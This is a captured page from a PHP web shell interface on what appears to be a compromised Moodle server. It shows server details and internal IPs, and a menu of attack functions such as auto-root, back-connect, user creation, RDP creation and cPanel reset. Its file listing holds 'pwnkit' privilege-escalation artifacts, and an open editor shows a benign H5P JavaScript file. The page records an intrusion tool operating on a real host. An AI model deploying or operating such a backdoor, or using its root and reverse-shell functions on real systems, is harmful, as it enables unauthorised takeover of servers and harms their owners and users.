Linux moodl-moodle-3s8bw1nuh5yqd9-5b875fdd66-8hs4m 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64
Apache/2.4.41 (Ubuntu)
: 10.39.0.36 | : 10.36.0.0
Cant Read [ /etc/named.conf ]
7.4.3
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
moodledata /
filedir /
a9 /
89 /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-sr-x
GCONV_PATH=.
[ DIR ]
drwxr-sr-x
.mad-root
0
B
-rw-r--r--
a9893a053e45cfe97cc8f16ef00c8a...
3.37
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : a9893a053e45cfe97cc8f16ef00c8a1ee14322e5
var H5P = H5P || {}; H5P.SingleChoiceSet = H5P.SingleChoiceSet || {}; H5P.SingleChoiceSet.Alternative = (function ($, EventDispatcher) { /** * @constructor * * @param {object} options Options for the alternative */ function Alternative(options) { EventDispatcher.call(this); var self = this; this.options = options; var triggerAlternativeSelected = function (event) { self.trigger('alternative-selected', { correct: self.options.correct, $element: self.$alternative, answerIndex: self.options.answerIndex }); event.preventDefault(); }; this.$alternative = $('<li>', { 'class': 'h5p-sc-alternative h5p-sc-is-' + (this.options.correct ? 'correct' : 'wrong'), 'role': 'button', 'tabindex': -1, 'on': { 'keydown': function (event) { switch (event.which) { case 13: // Enter case 32: // Space // Answer question triggerAlternativeSelected(event); break; case 35: // End button // Go to previous Option self.trigger('lastOption', event); event.preventDefault(); break; case 36: // Home button // Go to previous Option self.trigger('firstOption', event); event.preventDefault(); break; case 37: // Left Arrow case 38: // Up Arrow // Go to previous Option self.trigger('previousOption', event); event.preventDefault(); break; case 39: // Right Arrow case 40: // Down Arrow // Go to next Option self.trigger('nextOption', event); event.preventDefault(); break; } } }, 'focus': function (event) { self.trigger('focus', event); }, 'click': triggerAlternativeSelected }); this.$alternative.append($('<div>', { 'class': 'h5p-sc-progressbar' })); this.$alternative.append($('<div>', { 'class': 'h5p-sc-label', 'html': this.options.text })); this.$alternative.append($('<div>', { 'class': 'h5p-sc-status' })); } Alternative.prototype = Object.create(EventDispatcher.prototype); Alternative.prototype.constructor = Alternative; /** * Is this alternative the correct one? * * @return {boolean} Correct or not? */ Alternative.prototype.isCorrect = function () { return this.options.correct; }; /** * Move focus to this option. */ Alternative.prototype.focus = function () { this.$alternative.focus(); }; /** * Makes it possible to tab your way to this option. */ Alternative.prototype.tabbable = function () { this.$alternative.attr('tabindex', 0); }; /** * Make sure it's NOT possible to tab your way to this option. */ Alternative.prototype.notTabbable = function () { this.$alternative.attr('tabindex', -1); }; /** * Append the alternative to a DOM container * * @param {jQuery} $container The Dom element to append to * @return {jQuery} This dom element */ Alternative.prototype.appendTo = function ($container) { $container.append(this.$alternative); return this.$alternative; }; return Alternative; })(H5P.jQuery, H5P.EventDispatcher);
Close